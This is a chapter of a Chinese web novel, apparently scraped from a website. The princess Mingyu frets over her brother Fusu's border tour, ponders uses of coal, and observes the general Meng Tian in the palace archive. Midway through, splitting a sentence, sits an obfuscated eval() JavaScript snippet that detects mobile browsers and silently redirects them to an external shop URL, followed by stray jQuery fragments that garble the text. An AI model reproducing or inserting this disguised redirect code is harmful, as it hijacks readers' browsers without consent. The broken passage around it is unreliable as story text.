扶苏随驾巡边的日子,在有条不紊又略显紧绷的筹备中,一天天近了。


    章台宫里的气氛也随之变化,少了几分往日议政的激烈争论,多了许多务实、琐碎却又至关重要的核对与确认。


    粮秣、被服、药材、车马、仪仗、护卫、沿途行宫的准备、接见边地郡守将吏的议程、需携带的文书图籍……千头万绪,皆需一一过问。


    扶苏的身影愈发忙碌,明玉时常一整天都见不到他,偶尔在廊下遇见,也是匆匆点头,眉宇间带着深思与疲惫。


    明玉很自觉地不去打扰那些重要的公务筹备,但她心里对兄长即将远行充满了不舍和担心,她知道北地苦寒,路途遥远,巡边虽不至于亲临前线厮杀,但长途跋涉、接见边将、视察防务,绝非轻松之事。


    她总想着能为兄长做点什么,哪怕只是微不足道的小事。


    这日,她特意提早结束了在书库的翻阅,带着陈内侍回到了章台宫,她没有回自己偏殿,而是径直去了扶苏所居的殿宇。


    殿内灯火通明,几名属吏和宫人正捧着简册、清单之类的东西低声与扶苏核对,气氛忙碌。


    明玉在门口稍等了一会儿,待那几人告退,才轻轻走进去。“长兄。”


    扶苏闻声抬头,见是她,眼中掠过一丝温和,放下手中的笔:“九妹来了,可是有事?”


    “没什么要紧事,”明玉摇摇头,走到他书案旁,看着上面堆积的文书和旁边一个摊开的、正在整理的行李清单,轻声问,“长兄,你们三日后便要出发了,东西可都备齐了?我……有些担心。”


    扶苏笑了笑,示意她坐下:“大体已备妥,父王巡边,仪制周全,一应物资皆有定例,九妹不必忧心。”


    “定例是定例,可北边天寒地冻,比咸阳冷多了。”


    明玉认真道,目光落在清单上,“我方才在少府书库,看到边地志书上说,冬日冰封雪阻,寒气透骨,长兄和父王的车驾里,可铺了足够的厚毡毛皮?靴袜一定要带最厚实的。我还听宫里的老嬷嬷说,用干姜、茱萸煮水常饮,能驱寒暖身,预防风寒,随行的医官可备了这些?”


    扶苏听着妹妹细碎的叮咛,心中暖意流淌,他温声道:“车中铺陈已加厚,厚靴袜也备足了,,医官那边,父王亦早有吩咐,各类药材齐备,九妹放心。”


    “那就好。”明玉稍微松了口气,又想起一事,“路上时间长,干粮肉脯虽能果腹,但总不如热食舒服,若是途中能随时喝上口热水热汤,人也精神些。能不能……让膳房多备些易于携带、又能快速煮开的姜糖或肉膏?用水一冲就能喝的那种?”


    这个想法倒有些新奇。


    扶苏略一思索:“简便热食……倒是个实用之想,我会与负责行营膳食的官人提一提,看能否预备些。”


    “嗯!”明玉点头,心里踏实了些,她能做的也只有这些细碎的提醒了。“长兄,你这一去,要多久才能回来?”


    “少则一两月,多则三四月,视边情与父王行程而定。”扶苏看着她眼中毫不掩饰的关切与不舍,语气更加柔和,“我不在时,九妹要好生照顾自己,安心读书,若有难处,可寻陈翁,或……若事急,亦可禀告父王身边得力的宦者。”


    “我晓得的,长兄放心。”明玉应下,犹豫了一下,还是小声说,“北地边陲,不比关中安稳,长兄一定要多保重,凡事谨慎。”


    “好,为兄记下了。”扶苏伸手,轻轻拍了拍她的肩膀,如同寻常人家兄长对幼妹的安抚,“你在宫中,亦要珍重。”


    从扶苏处出来,明玉心里那点离愁并未散去,但那份担忧因着这短暂的见面,和几句叮嘱,似乎减轻了些,她深吸一口气,将心思重新放回自己的“探索”上。


    少府书库那个关于巴蜀“石涅”的记录,让她这几日一直惦记着。


    煤!如果能更充分利用这种燃料,或许能带来不少改变,她记得煤不仅能燃烧提供高热,似乎还能通过干馏得到焦炭和煤焦油。


    焦炭是比木炭更好的冶炼燃料,煤焦油……好像有防水防腐的作用?这个时代有应用吗?另外,用煤来烧制石灰,是不是比用木材效率更高、成本更低?


    她再次钻进书库,试图寻找更多关于“石涅”应用的蛛丝马迹,但收获寥寥。


    看来此时对煤的认知和利用还非常初级,她又去查阅关于石灰烧制、冶炼鼓风、以及防水涂料的记录,发现多依赖木材、木炭和传统的桐油、生漆。


    一个想法在她心中逐渐清晰:或许,可以找个机会,以“好奇”或“联想”的方式,提一提“石涅”除了直接燃烧,是否还有其他可能的用途?比如,烧得更透、烟更少之后,会不会更好用?或者,那种黑乎乎黏稠的“石涅油”(煤焦油),有没有什么特别的用处?


    这个念头需要合适的契机和更充分的“知识包装”,她暂且按下,继续在浩繁卷册中寻找其他乐趣。


    这日,她正翻阅一卷关于代地物产的志书,上面提及该地“金、铁、盐”矿藏及“马、牛、羊畜产甚丰”,是北边重要的军镇和牧区,她试图在脑海中勾勒那片土地的模样,忽听得书库外传来一阵甲胄轻微碰撞,与靴履踏地的稳健脚步声。


    她抬起头,只见蒙恬身着便于行动的深色劲装,外罩轻甲,腰佩长剑,正大步走入。


    他神色冷峻,目光锐利,径直走向存放地图与边防文书的木架。


    管理书库的老内史迎上前,低语几句,便引他到一处,取下数卷厚重的木牍地图和几捆竹简。


    蒙恬似乎要在此查阅,老内史为他辟出一处安静角落。


    蒙恬谢过,坐下后迅速展开地图,对照竹简凝神细看,手指不时在地图上划过,眉头微蹙。


    明玉离得有些距离,看不清地图细节,但能感受到蒙恬身上那股属于沙场宿将的凝重气息,她想起历史中的蒙恬,北逐匈奴,修筑长城,威震边陲。


    此


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952536|192892||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    刻的他,或许正是在为即将到来的巡边,或者更长远的北疆防务做准备。


    她正想着,蒙恬忽然抬起头,目光如电,向这边扫来,那目光并非针对她,更像是久经战阵者的警觉。


    明玉猝不及防,与那锐利的目光对个正着,心头一跳。


    蒙恬的目光在她身上停留一瞬,似乎认出了她是那日在章台宫廊下有过一面之缘的九公主,他眼中闪过一丝光,随即恢复冷峻,对她微微颔首,算是行礼,然后便重新专注于面前的地图文书。


    明玉定了定神,也礼貌地微微欠身还礼,她能感觉到蒙恬身上有种生人勿近的凛冽气场。她不敢多看,心里却忍不住好奇:他在看什么?是北地的山川险要,关隘布防,还是匈奴的活动区域,抑或是秦军自身的补给路线?


    她忽然想起自己琢磨的那些关于工具改良、材料应用的想法,在边地那种更艰苦、补给更困难、对器械可靠性和实用性要求更高的环境中,这些想法会不会有新的价值?比如,在缺乏木材的边塞,能否就地利用煤炭和黏土烧制砖石,快速修筑工事?运输车辆在崎岖道路上如何减少损坏?戍卒的防寒装备能否进一步改良?


    这些念头纷至沓来。


    等她再抬头时,蒙恬已经收拾好图籍,与老内史低语几句,便迈着沉稳迅捷的步伐离开了,留下一丝属于边塞风霜与钢铁的冷硬气息。


    明玉轻轻吐了口气,蒙恬的出现,让她对“巡边”和“边塞”的想象,从模糊的概念变得具体,她低头看了看手中“畜产甚丰”的记录,又想起蒙恬凝视图纸的侧影。


    一个庞大帝国的边疆经营,是军事、资源、技术、管理的复杂结合,每一个环节,都如同精密仪器中的齿轮,环环相扣。


    扶苏哥哥此去,要亲眼目睹、亲身参与的,就是这样一套系统在边疆地带的运行。


    而自己,或许可以通过这书库的窗口,尝试去理解系统背后的逻辑,也许,还能发现一些可以悄悄润滑、甚至尝试优化的“小齿轮”。


    窗外日影西斜,明玉将志书卷好放回。今天的信息似乎有些超载,但那种探索与连接的兴奋感,却抵消了疲惫。


    她走出书库时,天色已近昏黄,回到章台宫,远远看见扶苏殿宇方向灯火通明,人影幢幢,仍在忙碌。


    晚膳时,她听宫人议论,巡边行程已定,三日后启程,相关官署,今夜恐多无眠。


    明玉安静吃饭,心里默默计算:三天。扶苏哥哥就要离开了。


    她有点羡慕,又有些担忧,羡慕他能亲眼看看帝国真实的边疆,担忧前路的风霜与未知。


    但更多的是期待,期待他带回远方的见闻,带回对边塞的实感,或许,也能带回一些新的、可以让她那些“想法”落地的土壤。


    夜色渐深,许多殿宇的灯火却久久未熄。


    明玉躺在榻上,听着窗外呼啸的北风,思绪仿佛随着那风声,飘向了遥远、星光下的长城与草原。